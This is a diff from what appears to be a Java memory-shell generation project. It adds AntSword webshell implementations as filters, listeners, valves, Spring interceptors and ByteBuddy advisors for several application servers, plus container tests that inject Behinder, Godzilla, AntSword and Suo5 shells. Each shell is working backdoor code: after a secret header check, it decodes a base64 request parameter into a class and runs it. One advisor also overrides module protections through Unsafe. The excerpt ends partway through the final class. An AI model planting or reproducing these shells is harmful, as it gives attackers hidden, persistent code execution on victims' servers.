arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar)
@@ -1,4 +1,4 @@
package com.reajason.javaweb.integration.websphere;
package com.reajason.javaweb.integration.websphere7;
import com.reajason.javaweb.memshell.WebSphereShell;
import com.reajason.javaweb.memshell.config.Constants;
@@ -49,14 +49,18 @@ public class WebSphere700ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar)
@@ -47,14 +47,18 @@ public class Wildfly18ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -47,14 +47,18 @@ public class Wildfly23ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -54,6 +54,8 @@ public class Wildfly9ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
@@ -62,6 +64,8 @@ public class Wildfly9ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -70,6 +74,9 @@ public class Wildfly9ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar)
@@ -0,0 +1,62 @@
package com.reajason.javaweb.memshell.springwebmvc.antsword;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordControllerHandler extends ClassLoader implements Controller {
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public AntSwordControllerHandler(ClassLoader c) {
super(c);
}
public AntSwordControllerHandler() {
}
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
try {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordControllerHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
@@ -0,0 +1,80 @@
package com.reajason.javaweb.memshell.springwebmvc.antsword;
import org.springframework.web.servlet.AsyncHandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public AntSwordInterceptor(ClassLoader c) {
super(c);
}
public AntSwordInterceptor() {
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
try {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordInterceptor(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} catch (Exception e) {
e.printStackTrace();
}
return false;
} else {
return true;
}
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@Override
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
}
}
@@ -0,0 +1,62 @@
package com.reajason.javaweb.memshell.springwebmvc.antsword;
import net.bytebuddy.asm.Advice;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordServletAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) Object request,
@Advice.Argument(value = 1) Object response,
@Advice.Origin Class<?> targetClazz
) {
String pass = "pass";
String headerName = "headerName";
String headerValue = "headerValue";
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, targetClazz, offset, module);
} catch (Exception ignored) {
}
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
byte[] data = null;
Class<?> base64;
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
Object instance = payload.newInstance();
instance.equals(new Object[]{request, response});
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -0,0 +1,92 @@
package com.reajason.javaweb.memshell.apusic.antsword;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
public static String pass;
public static String headerName;
public static String headerValue;
public AntSwordListener() {
}
public AntSwordListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return (HttpServletResponse) getFieldValue(getFieldValue(request, "parameters"), "response");
}
}
@@ -0,0 +1,88 @@
package com.reajason.javaweb.memshell.bes.antsword;
import com.bes.enterprise.webtier.Valve;
import com.bes.enterprise.webtier.connector.Request;
import com.bes.enterprise.webtier.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordValve extends ClassLoader implements Valve {
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
public AntSwordValve() {
}
public AntSwordValve(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
}
@@ -0,0 +1,103 @@
package com.reajason.javaweb.memshell.glassfish.antsword;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
public static String pass;
public static String headerName;
public static String headerValue;
public AntSwordListener() {
}
public AntSwordListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
try {
response = (HttpServletResponse) getFieldValue(request, "response");
} catch (Exception ee) {
// glassfish7
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response");
}
}
return response;
}
}
@@ -0,0 +1,50 @@
package com.reajason.javaweb.memshell.jetty.antsword;
import net.bytebuddy.asm.Advice;
import java.lang.reflect.Method;
/**
* @author ReaJason
*/
public class AntSwordHandlerAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 1) Object baseRequest,
@Advice.Argument(value = 2) Object request,
@Advice.Argument(value = 3) Object response
) {
String pass = "pass";
String headerName = "headerName";
String headerValue = "headerValue";
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
byte[] data = null;
Class<?> base64;
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
Object instance = payload.newInstance();
instance.equals(new Object[]{request, response});
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -0,0 +1,98 @@
package com.reajason.javaweb.memshell.jetty.antsword;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
public static String pass;
public static String headerName;
public static String headerValue;
public AntSwordListener() {
}
public AntSwordListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response");
}
return response;
}
}
@@ -0,0 +1,94 @@
package com.reajason.javaweb.memshell.resin.antsword;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
public static String pass;
public static String headerName;
public static String headerValue;
public AntSwordListener() {
}
public AntSwordListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
response = (HttpServletResponse) getFieldValue(request, "_response");
return response;
}
}
@@ -0,0 +1,80 @@
package com.reajason.javaweb.memshell.shelltool.antsword;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordFilter extends ClassLoader implements Filter {
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public AntSwordFilter() {
}
public AntSwordFilter(ClassLoader c) {
super(c);
}
@Override
@SuppressWarnings("all")
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordFilter(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void destroy() {
}
}
@@ -0,0 +1,51 @@
package com.reajason.javaweb.memshell.shelltool.antsword;
import net.bytebuddy.asm.Advice;
import java.io.BufferedReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
*/
public class AntSwordFilterChainAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) Object request,
@Advice.Argument(value = 1) Object response
) {
String pass = "pass";
String headerName = "headerName";
String headerValue = "headerValue";
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) {
byte[] data = null;
Class<?> base64;
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
